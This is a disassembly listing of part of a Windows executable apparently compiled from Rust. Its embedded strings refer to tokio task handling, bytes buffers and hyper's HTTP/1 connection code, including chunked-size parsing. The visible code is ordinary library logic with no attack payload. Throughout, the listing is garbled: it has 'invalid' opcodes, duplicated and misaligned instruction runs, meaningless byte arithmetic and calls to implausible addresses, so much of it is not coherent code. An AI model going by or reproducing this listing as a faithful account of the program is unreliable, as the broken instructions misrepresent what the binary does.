call fcn.14008f4c0
out dx, eax
invalid
dec dword [rax - 0x39]
xor byte [rdx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x50], rbx
push rax
out dx, eax
invalid
push rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400905cf
test eax, eax
jne 0x1400905e9
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
cmp al, byte [0x18161edc6]
add al, 0
cmp al, byte [0x18161edc6]
add al, 0
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmmword [rax + 0xf0], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
and byte [rax - 0x7d], cl
invalid
invalid
pop rbx
and byte [rax - 0x7d], cl
invalid
pop rdi
pop rsi
pop r14
jmp 0x140090680
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14009052f
invalid
invalid
invalid
pop rsi
sub byte [rbx - 0x7bf0fe08], al
adc al, 0xff
invalid
invalid
invalid
xorps xmm6, xmm6
test eax, eax
jne 0x14009055b
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
jmp 0x14009052f
invalid
dec dword [rax - 0x73]
or eax, 0xbe5a8
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
invalid
add byte [rax], al
add al, ch
mov edi, 0xcc00077f
invalid
push rsi
push rdi
push rbx
sub rsp, 0x90
in al, dx
nop
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x80], esi
in al, dx
nop
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x80], esi
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
mov cl, 0xe
mov cl, 0xe
jne 0x1400906a0
test al, 1
je 0x14009088b
test al, 2
jne 0x1400908a3
test al, 8
jne 0x1400907c6
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
invalid
sub byte [rbx + 0xf1c4405], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
invalid
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14009071d
xorps xmm6, xmm6
test eax, eax
jne 0x140090749
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rcx, [rsi + 0x30]
call fcn.14008f4c0
outsb dx, byte [rsi]
in eax, dx
invalid
dec dword [rax - 0x39]
xor byte [rbx], r8b
add byte [rax], al
add byte [rbx + 0xf1bb405], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
outsb dx, byte [rsi]
in eax, dx
invalid
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400907aa
test eax, eax
jne 0x1400907e4
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0xf1b6405], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
jmp 0x1400907e4
test al, 0x10
je 0x1400907e4
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x140090927
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x10]
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ea6e0
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
cmp eax, dword [rsp + 0x20]
cmp eax, dword [rsp + 0x20]
jb 0x1400908bb
jne 0x140090878
mov rax, qword [rdi]
mov eax, dword [rdi]
lock dec qword [rax]
jne 0x140090833
mov rcx, rdi
call fcn.140069420
lea rcx, [rsi + 0x30]
call fcn.14008f4c0
mov rax, qword [rsi + 0xe8]
test rax, rax
test eax, eax
xor al, r13b
test ah, ch
invalid
test eax, eax
je 0x140090852
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
nop
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ea18]
mov edx, 0x23
call fcn.140108630
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014ea58]
mov edx, 0x25
add byte [rax], al
add al, ch
jne 0x140090936
invalid
invalid
add byte [rax], al
add al, ch
jne 0x140090936
invalid
add byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
and al, 0x60
sub byte [rax - 0x77], cl
and al, 0x60
and al, 0x60
and al, 0x60
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x68], rax
dec dword [rax - 0x77]
and al, 0x68
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
and al, 0x78
lea rax, str.current:___sub:_p
mov qword [rsp + 0x30], rax
and al, 0x30
and al, 0x30
mov qword [rsp + 0x38], 2
and al, 0x38
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x14014eaa0]
adc eax, 0xbe183
adc eax, 0xbe183
lea rcx, [rsp + 0x30]
call fcn.140108560
jl 0x14009092d
add byte [rax - 0x73], cl
add eax, 0xbdd1a
lea rax, str.waker_missing
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
and al, 0x38
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x30]
call fcn.140108560
int3
push rdi
push r14
push rsi
push rdi
push rbx
sub rsp, 0xa0
mov rdi, rdx
mov rsi, rcx
mov byte [rcx + 0xa1], 0
mov rdx, qword [rcx + 0x58]
mov r14, qword [rcx + 0x88]
mov esi, dword [rcx + 0x88]
lea rbx, [rcx + 0x80]
mov r15, qword [rcx + 0x90]
mov rax, r15
sub rax, r14
cmp rax, rdx
jae 0x1400909c5
mov rcx, rbx
mov ecx, ebx
call fcn.1400126f0
mov r14, qword [rsi + 0x88]
mov r15, qword [rsi + 0x90]
cmp r15, r14
jne 0x1400909e5
mov edx, 0x40
mov rcx, rbx
call fcn.1400126f0
mov r14, qword [rsi + 0x88]
mov r15, qword [rsi + 0x90]
mov rax, qword [rsi + 0x80]
add rax, r14
mov rcx, r15
mov ecx, edi
mov ecx, edi
sub rcx, r14
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov rcx, qword [rsi + 0x68]
mov rax, qword [rsi + 0x70]
lea r8, [rsp + 0x30]
mov rdx, rdi
call qword [rax + 0x18]
push rax
sbb byte [rax - 0x7b], cl
invalid
je 0x140090a30
push rax
sbb byte [rax - 0x7b], cl
sal byte [rcx + rdx - 0x3a], 0x86
movabs eax, dword [0x2b801000000]
add cl, ch
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rdx + rcx - 0x48], cl
add dword [rax], eax
mov byte [rsi + 0xa1], 1
mov eax, 2
jmp 0x140090ad6
test rdx, rdx
je 0x140090a3f
mov eax, 1
add byte [rax], al
jmp 0x140090ad6
mov rax, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
cmp rdx, rax
ja 0x140090aeb
add r14, rdx
mov qword [rsp + 0x28], r14
and al, 0x28
and al, 0x28
cmp r14, r15
ja 0x140090afd
mov qword [rsi + 0x88], r14
cmp byte [rsi + 0x50], 0
jne 0x140090ad4
mov rax, qword [rsi + 0x58]
cmp rax, rdx
jbe 0x140090aaf
bsr rcx, rax
not ecx
add cl, 2
mov rax, 0xffffffffffffffff
shr rax, cl
inc rax
cmp rax, rdx
jbe 0x140090ad0
cmp byte [rsi + 0x51], 0
je 0x140090ae5
cmp rax, 0x2001
mov ecx, 0x2000
cmovae rcx, rax
mov qword [rsi + 0x58], rcx
jmp 0x140090ad0
mov rcx, qword [rsi + 0x60]
lea r8, [rax + rax]
test rax, rax
mov rax, 0xffffffffffffffff
cmovns rax, r8
cmp rax, rcx
cmovae rax, rcx
mov qword [rsi + 0x58], rax
mov byte [rsi + 0x51], 0
xor eax, eax
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov byte [rsi + 0x51], 1
jmp 0x140090ad4
lea r8, [0x14013d6c8]
mov rcx, rdx
mov rdx, rax
call fcn.140108620
add rsi, 0x90
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rax
lea rax, [0x1401424a0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x70]
call fcn.140108560
int3
add byte [rax], al
mov qword [rcx + 0x90], 2
mov word [rcx + 0xd1], 1
add byte [rax - 0x7d], cl
invalid
and byte [rsi - 0x3d], bl
add byte [rax - 0x7d], cl
invalid
push rsi
push rdi
push rbx
sub rsp, 0x20
cmp qword [rcx + 0x70], 0
jne 0x140090c71
mov rax, qword [rcx + 0x90]
cmp rax, 3
ja 0x140090c79
cmp rax, 2
je 0x140090c79
invalid
or byte [rax - 0x7d], cl
invalid
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
cmp byte [rcx + 0x179], 0
jne 0x140090c71
cmp qword [rcx + 0x160], 0
je 0x140090c95
mov byte [rcx + 0xd1], 1
jmp 0x140090c71
lea rax, [rcx + 0xd8]
mov rbx, rcx
mov rcx, rax
call case.0x14002a2ab.1640
cmp rax, 2
je 0x140090c71
mov rcx, rbx
cmp rax, 1
add dword [rbp + 0x49], esi
add dword [rbp + 0x49], esi
mov qword [rcx + 0x70], 4
mov qword [rcx + 0x90], 5
add dh, al
adc edx, 0x2000000
add dh, al
adc edx, 0x2000000
mov rcx, rdx
call fcn.140036f60
mov rcx, rbx
mov rsi, rax
lea rdi, [rbx + 0xc0]
cmp qword [rbx + 0xc0], 0
je 0x140090cfa
mov rcx, rdi
call fcn.140035b40
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
mov qword [rdi], rsi
jmp 0x140090c8c
test rdx, rdx
jne 0x140090c8c
cmp byte [rcx + 0xd2], 0
mov qword [rcx + 0x70], 4
jne 0x140090d20
mov qword [rcx + 0x90], 5
nop
add byte [rax], al
add byte [0x106090d21], al
adc edx, 0x2000000
mov byte [rcx + 0xd2], 2
add byte [rax], al
add ch, cl
invalid
jmp 0x140090c71
mov dword [rsp + 0x48], eax
mov rbx, rdx
mov r13, rcx
lea rax, [rdx + 0xd8]
mov qword [rsp + 0x40], rax
mov rax, qword [rdx + 0x70]
cmp rax, 2
je 0x140090dc6
lea r15, [rbx + 0x70]
cmp rax, 1
jne 0x140090fcc
cmp dword [rbx + 0x90], 2
jne 0x140090dbf
mov rax, qword [rbx + 0xd8]
mov rdx, qword [rbx + 0xe8]
sub rax, rdx
xchg ebx, eax
call 0x188090d8a
sub eax, edx
cmp rax, 0x18
jbe 0x140090f84
mov rax, qword [rbx + 0xe0]
movups xmm0, xmmword [0x140140899]
movups xmmword [rax + rdx + 9], xmm0
movups xmm0, xmmword [str.HTTP_1.1_100_Continue_r_n_r_ninternal_error:_entered_unreachable_code:_poll_read_body_invalid_state:]
movups xmmword [rax + rdx], xmm0
add rdx, 0x19
mov qword [rbx + 0xe8], rdx
mov qword [r15], 2
movzx eax, byte [rbx + 0x78]
test eax, eax
je 0x140090e0d
cmp eax, 1
jne case.default.0x140090e0b
mov qword [rsp + 0xc8], r13
lea rsi, [rsp + 0x38]
movzx eax, byte [rbx + 0x79]
mov qword [rsp + 0x80], 0
movzx eax, al
lea rbp, [0x14017874c]
movsxd rax, dword [rbp + rax*4]
add rax, rbp
lea r14, [rsp + 0x38]
jmp rax
mov r9, qword [rbx + 0x80]
test r9, r9
je 0x140090e88
lea rcx, [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
call fcn.1400956a0
mov r15d, 1
cmp qword [rsp + 0x50], 0
jne 0x140091028
mov rsi, qword [rsp + 0x58]
mov r14, qword [rsp + 0x60]
test rsi, rsi
je 0x140090f17
movups xmm0, xmmword [rsp + 0x68]
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], r14
mov rcx, qword [rsp + 0x30]
mov rax, qword [rbx + 0x80]
sub rax, rcx
jae 0x140090f33
xor eax, eax
jmp 0x140090f38
cmp byte [rbx + 0x79], 0
je 0x140090eb3
lea rax, [0x14013e948]
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0xb8], xmm0
jmp 0x14009103a
lea rcx, [rsp + 0x50]
mov r9d, 0x2000
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
call fcn.1400956a0
mov r15d, 1
add byte [rax], al
add byte [rax - 0x7d], cl
jl 0x140090efb
push rax
add byte [rdi], cl
test dword [rcx + 1], ecx
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
jl 0x140090efb
push rax
add byte [rdi], cl
test dword [rcx + 1], ecx
add byte [rax], al
cmp qword [rsp + 0x58], 0
je 0x140090f5e
add byte [rdi + rsi*2 + 0x48], dh
lea ecx, [rsp + 0x58]
lea rcx, [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
mov rax, qword [rsp + 0x70]
test rdx, rdx
ror byte [rdi], cl
xchg esp, eax
jns 0x140090f0d
adc byte [rcx], al
ror byte [rdi], cl
xchg esp, eax
jns 0x140090f0d
adc byte [rcx], al
movups xmmword [rsp + 0xa8], xmm0
mov qword [rsp + 0xb8], rdx
mov ecx, 0x20
add byte [rax], al
add byte [rcx + 0x20], bh
jmp 0x140090f74
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], r14
xor r15d, r15d
jmp 0x140091028
test rcx, rcx
je 0x140090fa0
mov qword [rbx + 0x80], rax
movups xmm0, xmmword [rsp + 0x20]
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x20], al
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [rsp + 0xb8], xmm1
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0xa8], eax
invalid
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0xa8], eax
invalid
add cl, ch
fadd qword [rax]
add byte [rax], al
jmp 0x14009103a
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xa8], 0
add byte [rax], al
add byte [rax], al
mov ecx, 0x10
adc byte [rax], al
add byte [rax], al
mov qword [rsp + rcx + 0xa0], rax
xor r15d, r15d
jmp 0x140091028
mov r8d, 0x19
mov rcx, qword [rsp + 0x40]
call fcn.140108ba0
mov rdx, qword [rbx + 0xe8]
jmp 0x140090d96
invalid
call fcn.1400958b0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], rax
add byte [rax - 0x73], cl
and al, 0x38
and al, 0xb0
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x38
xor r15d, r15d
mov rdx, r14
xor r8d, r8d
call qword [rsi + 0x10]
jmp 0x140091028
mov qword [rsp + 0xa0], r15
lea rax, [0x140095530]
mov qword [rsp + 0xa8], rax
lea rax, [0x1401408f8]
lea eax, [0x1401408f8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
and al, 0x58
add dword [rax], eax
add byte [rax], al
and al, 0x58
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0xa0]
add byte [rax - 0x77], cl
and al, 0x60
and al, 0xa0
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x60
mov qword [rsp + 0x68], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1conn.rsinternal_error:_entered_unreachable_code:_write_body_invalid_state:
lea edx, [0x140140908]
lea edx, [0x140140908]
lea rcx, [rsp + 0x50]
call fcn.140108560
invalid
invalid
invalid
test r15, r15
je 0x14009103a
mov qword [r13], 2
jmp case.0x140068e61.135
lea r12, [rbx + 0x78]
mov r15, qword [rsp + 0xa8]
mov r14, qword [rsp + 0xb0]
mov ah, 0x24
mov al, 0
add byte [rax], al
mov ah, 0x24
mov al, 0
add byte [rax], al
test r15, r15
je 0x14009108b
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r14
movups xmm0, xmmword [rsp + 0xb8]
movups xmmword [rsp + 0x60], xmm0
movzx eax, byte [r12]
cmp eax, 2
je 0x14009109e
mov rsi, r13
mov r13d, 1
mov ebp, 4
jmp 0x14009116e
add byte [rax], al
add byte [rax], al
movzx eax, byte [rbx + 0x79]
mov rcx, qword [rsp + 0x60]
test al, al
je 0x140091107
mov rsi, r13
test rcx, rcx
leave
leave
je 0x14009112d
lea rax, [rsp + 0xb8]
mov rcx, qword [rsp + 0xf8]
mov qword [rsp + 0xe0], rcx
loopne 0x1400910c9
add byte [rax], al
loopne 0x1400910c9
add byte [rax], al
movups xmm0, xmmword [rsp + 0xe8]
movaps xmmword [rsp + 0xd0], xmm0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xd0], eax
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x100], xmm0
add byte [rax], al
add byte [rax], al
mov r13d, 1
mov ebp, 3
jmp 0x14009116e
add byte [rax], al
add byte [rdi], cl
xchg esp, eax
ror byte [rax - 0x75], 0x4c
and al, 0x60
test al, al
jne 0x1400910ab
test rcx, rcx
je 0x140091134
mov qword [r13], 1
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [r13 + 8], xmm0
adc dword [rbp + 8], eax
adc dword [rbp + 8], eax
movups xmmword [r13 + 0x18], xmm1
jmp case.0x140068e61.135
mov ebp, 3
jmp 0x14009113c
mov rsi, r13
mov ebp, 4
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0xe0], rax
movups xmm0, xmmword [rsp + 0xe8]
movaps xmmword [rsp + 0xd0], xmm0
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
lea rcx, [rsp + 0x68]
xor r13d, r13d
mov rdx, r14
xor r8d, r8d
call qword [r15 + 0x10]
mov qword [rbx + 0x70], rbp
mov rax, qword [rsp + 0xe0]
mov qword [r12 + 0x10], rax
imul esi, dword [rax + 0x48], 0xffffff8b
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rcx - 0x77], cl
and al, 0x10
movaps xmm0, xmmword [rsp + 0xd0]
movups xmmword [r12], xmm0
mov rcx, rbx
call fcn.140090b70
mov rcx, rbx
mov rdx, qword [rsp + 0x48]
call case.0x14002a2ab.1647
mov qword [rsi], r13
mov qword [rsi + 8], r15
mov qword [rsi + 0x10], r14
movaps xmm0, xmmword [rsp + 0x100]
movups xmmword [rsi + 0x18], xmm0
add rsp, 0x118
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x50]
mov r9d, 1
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
call fcn.1400956a0
mov al, 2
cmp qword [rsp + 0x50], 0
jne 0x1400915de
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
test rax, rax
je 0x14009136a
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
and al, 0x68
lea rcx, [rsp + 0x68]
movups xmm0, xmmword [rcx]
lea rcx, [rsp + 0x30]
movups xmmword [rcx], xmm0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
mov r8, qword [rsp + 0x30]
test r8, r8
je 0x14009132e
movzx r12d, byte [rdx]
mov rcx, r14
call qword [rax + 0x10]
lea eax, [r12 - 0x30]
cmp al, 0xa
jae 0x14009128a
mov rcx, qword [rbx + 0x80]
mov rdx, rcx
mov eax, dword [rax + 0x48000000]
mov edx, ecx
shr rdx, 0x3c
jne case.0x14002a2ab.1654
add byte [rax], al
add byte [rax], al
shl rcx, 4
movzx eax, al
or rax, rcx
mov qword [rbx + 0x80], rax
mov al, 1
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
movzx r13d, al
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
lea eax, [r12 - 0x61]
cmp al, 6
jae 0x1400912dc
mov eax, dword [rbx + 0x80]
mov rcx, rax
ror dword [rax - 0x3f], 0xe9
cmp al, 0xf
test edi, edx
add byte [rax], al
invalid
ror dword [rax - 0x3f], 0xe9
cmp al, 0xf
test edi, edx
add byte [rax], al
add byte [rax - 0x3f], cl
loopne 0x1400912af
shl rax, 4
add r12b, 0xa9
movzx ecx, r12b
movzx ecx, ah
movzx ecx, ah
add rcx, rax
mov qword [rbx + 0x80], rcx
mov al, 1
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
call 0xed4d7620
lodsd eax, dword [rsi]
add byte [rax + 1], cl
invalid
jmp rax
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
call 0xed4d7620
lodsd eax, dword [rsi]
lodsd eax, dword [rsi]
add byte [rax + 1], cl
call 0xcd4af3dd
and al, 0xbf
cmp al, 6
jae 0x140091359
mov rax, qword [rbx + 0x80]
mov rcx, rax
shr rcx, 0x3c
jne case.0x14002a2ab.1654
shl rax, 4
add r12b, 0xc9
movzx ecx, r12b
add rcx, rax
mov qword [rbx + 0x80], rcx
mov al, 1
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
movzx r13d, al
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
lea rdx, [0x14014093d]
mov r8d, 0x25
mov cl, 0x25
and eax, 0x45fee8
add byte [rax - 0x77], cl
invalid
mov rax, qword [rsp + 0x20]
and eax, 0x45fee8
add byte [rax - 0x77], cl
invalid
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
sub byte [rbx + rcx*4 + 0x44], cl
and al, 0x30
mov rcx, r14
jmp 0x140091374
lea rdx, [0x140140962]
mov r8d, 0x2b
mov cl, 0x14
jmp 0x14009138d
mov al, 1
mov rdi, rdx
mov edi, edx
mov edi, edx
jmp 0x1400915de
push 2
add byte [rax], al
call qword [rax + 0x10]
mov al, 1
jmp 0x1400915de
add byte [rax], al
add byte [rax], al
lea rdx, [0x14014098d]
mov r8d, 0x1c
add byte [rcx - 0x48], al
sbb al, 0
add byte [rax], al
mov cl, 0x15
call fcn.140095940
mov rdi, rax
mov qword [rsp + 0xa8], 0
and al, 0xa8
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov esp, 0xb024
add byte [rbp + 0x31], al
dec dword [rax - 0x75]
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rbx + rcx*4 - 0x54], 0x24
enter 0, 0
and al, 0xa8
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov esp, 0xb024
add byte [rbp + 0x31], al
dec dword [rax - 0x75]
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rbx + rcx*4 - 0x54], 0x24
enter 0, 0
jne 0x14009163a
jmp 0x140091028
lea rcx, [rsp + 0x50]
mov r9d, 1
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
call fcn.1400956a0
mov al, 2
cmp qword [rsp + 0x50], 0
jne 0x1400915de
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
test rax, rax
je 0x14009136a
invalid
invalid
invalid
invalid
mov r15, rbp
lea rcx, [rsp + 0x68]
and al, 0x68
and al, 0x68
movups xmm0, xmmword [rcx]
lea rcx, [rsp + 0x30]
movups xmmword [rcx], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x28], rdx
and al, 0x28
mov r8, qword [rsp + 0x30]
test r8, r8
lea rbp, [rsp + 0x38]
je 0x1400915a2
movzx r13d, byte [rdx]
mov rcx, rbp
call qword [rax + 0x10]
lea eax, [r13 - 0x30]
cmp al, 0xa
jae 0x140091493
mov rcx, qword [rbx + 0x80]
mov rdx, rcx
shr rdx, 0x3c
shr edx, 0x3c
shr edx, 0x3c
jne case.0x14002a2ab.1654
mov rbp, r15
shl rcx, 4
movzx eax, al
or rax, rcx
mov qword [rbx + 0x80], rax
mov al, 1
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
call 0xef0d77d9
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
call 0xef0d77d9
add rax, r15
jmp rax
lea eax, [r13 - 0x61]
lahf
cmp al, 6
mov rbp, r15
jae 0x1400914e7
mov rax, qword [rbx + 0x80]
mov rcx, rax
shr rcx, 0x3c
shr ecx, 0x3c
jne case.0x14002a2ab.1654
shl rax, 4
add r13b, 0xa9
invalid
test eax, 0xcdb60f41
add rcx, rax
mov qword [rbx + 0x80], rcx
add byte [rax + 0x79438801], dh
invalid
add byte [rax + 0x79438801], dh
mov qword [rsp + 0x80], 0
movzx r13d, al
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
lea eax, [r13 - 0x41]
lea eax, [rbp - 0x41]
cmp al, 6
jae 0x140091538
mov rax, qword [rbx + 0x80]
mov rcx, rax
ror dword [rax - 0x3f], 0xe9
cmp al, 0xf
test dword [rbx - 2], edi
invalid
invalid
ror dword [rax - 0x3f], 0xe9
cmp al, 0xf
test dword [rbx - 2], edi
invalid
invalid
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
call 0xed4d787c
add byte [rax + 1], cl
call 0x142b9f639
mov al, 2
cmp r13d, 0x1f
jg 0x140091573
std
invalid
cmp r13d, 9
je 0x140091873
cmp r13d, 0xd
jne 0x1400915d5
invalid
add byte [rax], al
invalid
add dword [rax], 0x4b00000
mov al, 4
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
movzx r13d, al
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
cmp r13d, 0x20
je 0x140091873
cmp r13d, 0x3b
jne 0x1400915d5
mov al, 3
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movzx r13d, al
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
lea rdx, [0x14014093d]
adc eax, 0xaf394
mov r8d, 0x25
mov cl, 0x25
call fcn.140095940
mov rdi, rax
invalid
invalid
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
push rsp
and al, 0x28
